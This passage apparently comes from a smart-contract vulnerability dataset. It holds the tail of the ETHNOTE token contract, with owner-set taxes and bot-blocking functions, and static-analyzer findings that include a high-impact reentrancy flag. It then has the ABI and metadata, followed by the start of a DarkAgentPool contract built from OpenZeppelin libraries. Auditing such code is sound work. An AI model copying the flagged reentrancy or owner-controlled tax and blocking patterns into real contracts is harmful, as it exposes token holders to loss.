tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 20_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 15) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 15) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
[]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"ETHNOTE.sol": [77]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETHNOTE.sol": [184, 185, 186]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETHNOTE.sol": [176, 177, 178]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETHNOTE.sol": [197, 198, 199]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETHNOTE.sol": [340, 341, 342, 343]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETHNOTE.sol": [96, 97, 98, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETHNOTE.sol": [305, 306, 307]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETHNOTE.sol": [201, 202, 203, 204]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETHNOTE.sol": [180, 181, 182]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETHNOTE.sol": [172, 173, 174]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETHNOTE.sol": [192, 193, 194, 195]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETHNOTE.sol": [336, 337, 338, 335]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETHNOTE.sol": [206, 207, 208, 209, 210]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETHNOTE.sol": [299, 300, 301, 302, 303]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"ETHNOTE.sol": [88, 86, 87]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"ETHNOTE.sol": [88, 86, 87]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"ETHNOTE.sol": [387]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"ETHNOTE.sol": [381]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"ETHNOTE.sol": [375]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ETHNOTE.sol": [145]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ETHNOTE.sol": [134]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ETHNOTE.sol": [115]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ETHNOTE.sol": [144]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ETHNOTE.sol": [373, 374, 375, 376, 377]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ETHNOTE.sol": [379, 380, 381, 382, 383]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ETHNOTE.sol": [146]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"ETHNOTE.sol": [225]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"ETHNOTE.sol": [294]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"ETHNOTE.sol": [330]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"ETHNOTE.sol": [329]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"ETHNOTE.sol": [208]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"ETHNOTE.sol": [259]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"ETHNOTE.sol": [259]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"ETHNOTE.sol": [208]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ETHNOTE.sol": [356]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ETHNOTE.sol": [347]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ETHNOTE.sol": [314]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ETHNOTE.sol": [347]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ETHNOTE.sol": [314]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ETHNOTE.sol": [356]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ETHNOTE.sol": [314]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ETHNOTE.sol": [356]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ETHNOTE.sol": [347]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"ETHNOTE.sol": [295]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"ETHNOTE.sol": [290]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"ETHNOTE.sol": [126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"ETHNOTE.sol": [126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 162, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 282, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 97, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 201, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 300, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 300, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 299, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 19, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 76, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 77, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 128, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 129, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 130, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 131, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 132, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 133, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 134, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 135, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 136, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 138, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 139, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 140, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 141, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 142, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 144, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 145, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 146, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 148, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 149, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 150, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 151, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 152, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 153, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 154, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 127, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 123, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 80, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 107, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 161, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 110, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 111, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 112, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 134, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 333, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"_setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"sellTax","type":"uint256"}],"name":"_setSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buyTax","type":"uint256"}],"name":"setBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setremoveMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
v0.8.7+commit.e28d00a7
true
200
Default
None
false
ipfs://e67998e5c8e773adc2d8788d330115ee385ae936764fd93c33e6778f4b883cea
DarkAgentPool
0xd89d564f876c10239a5601e69fd0e1d7e4615b98
Solidity
/** *Submitted for verification at Etherscan.io on 2020-11-08 */ /** *Submitted for verification at Etherscan.io on 2020-11-08 */ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/math/Math.sol pragma solidity ^0.6.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: node_modules\@openzeppelin\contracts\GSN\Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.0; contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can 